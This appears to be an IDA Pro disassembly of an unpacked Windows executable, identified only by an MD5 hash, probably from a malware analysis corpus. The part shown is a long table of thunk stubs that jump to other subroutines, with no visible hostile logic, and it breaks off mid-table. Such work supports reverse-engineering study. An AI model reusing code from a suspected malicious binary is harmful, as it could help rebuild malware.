;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 2F19786E6B306DD3081DEE15B1C70B86
; File Name : u:\work\2f19786e6b306dd3081dee15b1c70b86_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00036000 ( 221184.)
; Section size in file : 00036000 ( 221184.)
; Offset to raw data for section: 00001000
; Flags C00000E0: Text Data Bss Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_294ADE7B segment para public 'BSS' use32
assume cs:_294ADE7B
;org 401000h
assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
db 5 dup(0CCh)
; ---------------------------------------------------------------------------
jmp loc_42A7D0
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: _8C6BDE73:off_437070o
jmp loc_411A40
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_4201C0+29p
jmp sub_420720
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_42C3F0
; ---------------------------------------------------------------------------
jmp loc_41F370
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: _294ADE7B:00411773p
jmp sub_4117A0
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: sub_40ACD0+4Dp
; sub_40ACD0+5Ap ...
jmp sub_4067E0
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41E060+34p
jmp sub_40AB60
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_403BE0+4DDp
; sub_404890+619p ...
jmp sub_409B90
sub_40102D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401032 proc near ; CODE XREF: sub_4122A0+3Bp
; _294ADE7B:004138C0p
jmp sub_414370
sub_401032 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_42A9E0+6Ep
; sub_42A9E0+8Ap ...
jmp sub_42E160
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: _294ADE7B:0042A0C2p
; sub_42A9E0+3Fp ...
jmp sub_42E000
sub_40103C endp
; ---------------------------------------------------------------------------
jmp loc_422030
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401046 proc near ; CODE XREF: sub_416AE0+227p
jmp sub_40BEC0
sub_401046 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40104B proc near ; CODE XREF: sub_40AB60+3Ap
; sub_40ABD0+1Ap
jmp sub_42DB20
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_41CC30+37Bp
jmp sub_420300
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_40BC20+8p
jmp sub_40BDE0
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_42CAA0+5Ap
; sub_42E890+50p
jmp sub_42CA60
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; DATA XREF: _8C6BDE73:off_437054o
jmp sub_41ACE0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; CODE XREF: _294ADE7B:00415A0Ap
jmp sub_41E1A0
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: sub_40BAC0+32p
jmp sub_40BC80
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40106E proc near ; CODE XREF: _294ADE7B:00415A1Ap
jmp sub_4168E0
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: sub_4145C0+5Ep
; sub_415010+32p
jmp sub_414F50
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401078 proc near ; CODE XREF: sub_41CC30+161p
; sub_420AB0+3p
jmp sub_420120
sub_401078 endp
; ---------------------------------------------------------------------------
jmp loc_419380
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401087 proc near ; CODE XREF: sub_420300+3p
; sub_420680+4Fp ...
jmp sub_420840
sub_401087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_407220+Ap
jmp sub_4072C0
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_422CE0+23p
; sub_422E80+6p ...
jmp sub_422BF0
sub_401091 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401096 proc near ; CODE XREF: sub_42BDA0+F5p
; sub_42BDA0+14Fp
jmp sub_42DF90
sub_401096 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_42E350+C8p
jmp sub_42BB30
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; DATA XREF: _8C6BDE73:off_437074o
jmp sub_41C890
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_416980+D0p
; sub_416AE0+2Dp
jmp sub_417010
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_40EB00+8D9p
; sub_40EB00+990p ...
jmp sub_4116F0
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; CODE XREF: sub_42A250+6Ap
; sub_42A250+7Ap ...
jmp sub_42C0A0
sub_4010AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B4 proc near ; CODE XREF: sub_420420+9p
; sub_420910+18p
jmp sub_420A90
sub_4010B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_40A550+58p
; sub_40A550+82p ...
jmp sub_40A740
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_421170+3F1p
; _294ADE7B:00422196p ...
jmp sub_4181B0
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: sub_414DA0+7p
jmp sub_4153D0
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_4142B0+4Fp
; sub_414C00+11p ...
jmp sub_414E50
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_41FF40+1Fp
jmp sub_420380
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_420680+11p
; sub_420680+27p ...
jmp sub_420BA0
sub_4010D2 endp
; ---------------------------------------------------------------------------
jmp loc_412AF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_420100+3p
; sub_420420+4Fp ...
jmp sub_4205E0
sub_4010DC endp
; ---------------------------------------------------------------------------
jmp loc_413190
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E6 proc near ; CODE XREF: sub_4272C0+3p
jmp sub_4272F0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_414790+11p
; sub_414790+27p ...
jmp sub_415200
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_42E490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_420230+5p
; sub_420320+6p ...
jmp sub_420820
sub_4010F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FA proc near ; CODE XREF: _294ADE7B:004157CBp
; _294ADE7B:00433948j ...
jmp sub_4163B0
sub_4010FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_404890+6Ap
; sub_404890+1AFp ...
jmp loc_411260
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; DATA XREF: _8C6BDE73:off_437088o
jmp sub_4178D0
sub_401104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401109 proc near ; CODE XREF: sub_42AC40+F7p
; sub_42CBC0+6p ...
jmp sub_42A620
sub_401109 endp
; ---------------------------------------------------------------------------
jmp loc_429570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: _294ADE7B:0042238Dp
jmp sub_421E50
sub_401113 endp
; ---------------------------------------------------------------------------
jmp loc_42D0F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; CODE XREF: sub_413E00+38p
jmp sub_414720
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401122 proc near ; CODE XREF: sub_41A020+F7p
; sub_41A020+10Bp ...
jmp sub_409A00
sub_401122 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401127 proc near ; CODE XREF: sub_409470+Ap
jmp sub_409560
sub_401127 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40112C proc near ; CODE XREF: sub_412160+55p
; sub_412160+94p ...
jmp sub_414500
sub_40112C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: _294ADE7B:00423893p
; _294ADE7B:0042457Dp ...
jmp sub_421D20
sub_401131 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401136 proc near ; CODE XREF: _294ADE7B:0041394Ep
jmp sub_4142B0
sub_401136 endp
; ---------------------------------------------------------------------------
loc_40113B: ; DATA XREF: _8C6BDE73:off_437038o
jmp loc_411770
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_414B60+11p
; sub_414B60+27p ...
jmp sub_415380
sub_401140 endp
; ---------------------------------------------------------------------------
jmp loc_41FE40
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4171D0+23p
; sub_417440+11p
jmp sub_417520
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_417080+3p
; sub_417550+54p ...
jmp sub_4173A0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: sub_409160+6Ap
; sub_409160+103p
jmp sub_409400
sub_401154 endp
; ---------------------------------------------------------------------------
jmp loc_42D9E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40115E proc near ; CODE XREF: _294ADE7B:00412B0Dp
jmp sub_412900
sub_40115E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: _294ADE7B:004188B4p
jmp sub_419680
sub_401163 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401168 proc near ; CODE XREF: sub_412160+88p
; sub_413560+BFp ...
jmp sub_4146C0
sub_401168 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_42A620+7p
; sub_42A690+19p ...
jmp sub_42EA30
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_416AE0+119p
jmp sub_40C8A0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: _294ADE7B:0042C24Ap
jmp sub_42BBF0
sub_401177 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40117C proc near ; CODE XREF: sub_406E90+11p
; sub_407020+1Fp
jmp sub_4070C0
sub_40117C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: sub_403360+3B5p
; sub_403360+3C5p ...
jmp sub_403A20
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: sub_4202E0+3p
jmp sub_420860
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_40BDB0+Ap
jmp sub_40BE70
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401190 proc near ; CODE XREF: sub_403360+1Dp
; sub_406CE0+1Fp ...
jmp sub_403890
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near ; CODE XREF: sub_411FB0+54p
; _294ADE7B:004333BCj ...
jmp sub_414140
sub_401195 endp
; ---------------------------------------------------------------------------
jmp loc_40AA60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119F proc near ; CODE XREF: _294ADE7B:0041395Dp
jmp sub_413A00
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_4072C0+7p
; sub_409560+7p ...
jmp sub_4072F0
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_4122A0+73p
; _294ADE7B:004138FDp ...
jmp sub_414390
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_41CC30+58p
jmp sub_41EB00
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_412B30+84p
jmp sub_412570
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B8 proc near ; CODE XREF: _294ADE7B:0042D5C8p
jmp sub_42AF10
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_407170+8p
jmp sub_407250
sub_4011BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011C2 proc near ; CODE XREF: sub_404890+9Fp
; sub_404890+230p ...
jmp sub_409F90
sub_4011C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011C7 proc near ; CODE XREF: sub_40A2F0+21p
; sub_40A550+A5p
jmp sub_40A530
sub_4011C7 endp
; ---------------------------------------------------------------------------
jmp loc_40AAD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_409F90+129p
; sub_40A370+4p ...
jmp sub_40A340
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; DATA XREF: _8C6BDE73:off_4370BCo
jmp sub_426860
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: _294ADE7B:0042D45Dp
jmp sub_42AC10
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: sub_406FA0+3p
; sub_407020+4Fp ...
jmp sub_407130
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_41BE00+346p
; sub_41BE00+410p ...
jmp sub_41FF40
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_420180+11p
; sub_420680+1Fp
jmp sub_4207B0
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EF proc near ; CODE XREF: sub_416AE0+D4p
jmp loc_407440
sub_4011EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F4 proc near ; CODE XREF: sub_40BC80+5Fp
jmp sub_40BE50
sub_4011F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_403190+F6p
; sub_403190+12Ep ...
jmp sub_409790
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; CODE XREF: sub_41CC30+113p
; sub_41CC30+124p
jmp sub_420100
sub_4011FE endp
; ---------------------------------------------------------------------------
jmp loc_41DE30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: _294ADE7B:0041581Bp
; _294ADE7B:00433902j ...
jmp sub_416200
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40120D proc near ; CODE XREF: sub_40AA20+Fp
jmp sub_42B0F0
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401212 proc near ; CODE XREF: sub_4171D0+32p
jmp sub_417440
sub_401212 endp
; ---------------------------------------------------------------------------
jmp loc_42E6F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40121C proc near ; CODE XREF: sub_4141B0+5p
; sub_4143B0+6p ...
jmp sub_414DC0
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40B810+29p
; sub_40B930+29p
jmp sub_40BAC0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_41CC30+3E9p
; _294ADE7B:0043492Bj
jmp sub_4201C0
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_413260+BFp
jmp sub_413FA0
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; CODE XREF: sub_415270+Ap
jmp sub_4155B0
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: _294ADE7B:00415887p
; _294ADE7B:004338A3j ...
jmp sub_415B00
sub_401235 endp
; ---------------------------------------------------------------------------
jmp sub_417130
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123F proc near ; CODE XREF: sub_416AE0+24Fp
jmp sub_416980
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_413420
; ---------------------------------------------------------------------------
jmp loc_42A1D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40EB00+387p
; sub_41D500+21Dp ...
jmp sub_419DB0
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401253 proc near ; CODE XREF: _294ADE7B:004159DAp
jmp sub_416830
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_408FF0+8p
jmp sub_409040
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_409160+A5p
; sub_4116A0+21p
jmp sub_409370
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401262 proc near ; CODE XREF: sub_404890+385p
; sub_41BE00+5AAp
jmp sub_41A700
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near ; CODE XREF: _294ADE7B:0041593Fp
jmp sub_403360
sub_401267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40126C proc near ; CODE XREF: sub_417280+23p
; sub_417550+11p
jmp sub_4176A0
sub_40126C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: sub_422F30+Cp
; sub_422F30+3Ep ...
jmp sub_422A20
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_42A810
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40127B proc near ; CODE XREF: sub_403BE0+4C1p
; sub_404890+860p ...
jmp sub_409DF0
sub_40127B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: _294ADE7B:00429CB6p
; _294ADE7B:00429D06p ...
jmp sub_42C630
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: sub_41CC30+367p
; sub_41CC30+3D4p ...
jmp sub_420350
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; DATA XREF: sub_426E00+107o
jmp sub_427080
sub_40128A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128F proc near ; CODE XREF: sub_422E10+18p
; sub_422E50+Ap ...
jmp sub_422DC0
sub_40128F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401294 proc near ; CODE XREF: sub_414EB0+9p
; sub_414F50+18p
jmp sub_415560
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; DATA XREF: sub_42C420+32o
jmp sub_42CC20
sub_401299 endp
; ---------------------------------------------------------------------------
jmp loc_429D00
; ---------------------------------------------------------------------------
jmp loc_418280
; ---------------------------------------------------------------------------
jmp loc_41E4C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012AD proc near ; CODE XREF: _294ADE7B:0042A098p
; sub_42A250+2p ...
jmp sub_42B410
sub_4012AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_412400+3Fp
; sub_413260+40p ...
jmp sub_413EF0
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: sub_404260+19Fp
; sub_404260+212p ...
jmp sub_409A50
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_423580+B5p
; sub_423580+F1p
jmp sub_423510
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; CODE XREF: _294ADE7B:00423837p
jmp sub_423580
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_42B570+1p
jmp sub_42B600
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: _294ADE7B:00426532p
jmp sub_4267F0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; CODE XREF: sub_416980+71p
; sub_416980+BBp ...
jmp sub_416FE0
sub_4012D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D5 proc near ; CODE XREF: sub_409C00+7p
jmp sub_409C20
sub_4012D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DA proc near ; CODE XREF: _294ADE7B:0042C878p
; sub_42C8D0+2Bp
jmp sub_42CAA0
sub_4012DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_42C420+1p
jmp sub_42C660
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E4 proc near ; CODE XREF: sub_41EDB0+37Bp
jmp sub_4202A0
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_4130F0+5Bp
jmp sub_413DC0
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_414140+29p
; sub_414260+29p
jmp sub_414CC0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: _294ADE7B:0042FA72p
; _294ADE7B:0042FA82p ...
jmp sub_42F930
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_412160+5Fp
; sub_412160+9Ep ...
jmp sub_4146F0
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: sub_40B080+62p
; _294ADE7B:0040B548p ...
jmp sub_40B9C0
sub_4012FD endp
; ---------------------------------------------------------------------------
jmp loc_42B260
; ---------------------------------------------------------------------------
jmp loc_429DE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: sub_414E20+8p
jmp sub_415440
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_412160+71p
; sub_412160:loc_41222Cp ...
jmp sub_4146A0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_416980+AFp
; sub_4176A0+3p
jmp sub_4170A0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; DATA XREF: _8C6BDE73:004370E4o
jmp sub_426E00
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_40B080+39p
; sub_40B080+78p ...
jmp sub_40B9F0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401325 proc near ; CODE XREF: sub_425400+29p
; sub_425400+38p
jmp sub_425310
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132A proc near ; CODE XREF: sub_418BD0+1Cp
jmp sub_418C10
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_407E8F+8F2p
; _294ADE7B:00413211p
jmp sub_412FC0
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: sub_416AE0+72p
jmp sub_4068E0
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_409880+7p
; sub_4099D0+7p ...
jmp sub_40A260
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; DATA XREF: _8C6BDE73:off_437058o
jmp sub_421170
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_412870
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401348 proc near ; CODE XREF: sub_416EF0+11p
; sub_420380+1Fp
jmp sub_417310
sub_401348 endp
; ---------------------------------------------------------------------------
jmp loc_429D50
; ---------------------------------------------------------------------------
jmp loc_4137F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_406F40+1Fp
jmp sub_407020
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_423DF0+47Fp
jmp sub_4239C0
sub_40135C endp
; ---------------------------------------------------------------------------
jmp loc_429950
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; CODE XREF: sub_4114B0+3p
; _294ADE7B:0041580Bp ...
jmp sub_4114E0
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_424ED0+Cp
; sub_425040+Ap ...
jmp sub_424E90
sub_40136B endp
; ---------------------------------------------------------------------------
jmp loc_40C070
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_4239C0+E9p
; sub_4239C0+116p ...
jmp sub_423970
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; CODE XREF: sub_40A420+20p
jmp sub_40A550
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137F proc near ; CODE XREF: sub_40EB00+AFDp
; sub_40EB00+E71p ...
jmp sub_40AA20
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401384 proc near ; CODE XREF: sub_404890+8EFp
; sub_404890+8F8p ...
jmp sub_409DD0
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_420680+5Ap
jmp sub_420C10
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; CODE XREF: sub_404260+87p
; sub_40EB00+9B0p ...
jmp sub_409CC0
sub_40138E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401393 proc near ; CODE XREF: sub_426E00+12Ep
jmp sub_418620
sub_401393 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401398 proc near ; CODE XREF: sub_41CC30+35Dp
; sub_41CC30+3CAp ...
jmp sub_420270
sub_401398 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40139D proc near ; CODE XREF: sub_417360+7p
jmp sub_417660
sub_40139D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013A2 proc near ; CODE XREF: sub_414F50+5Fp
jmp sub_415520
sub_4013A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013A7 proc near ; DATA XREF: _8C6BDE73:off_4370A4o
jmp sub_419A70
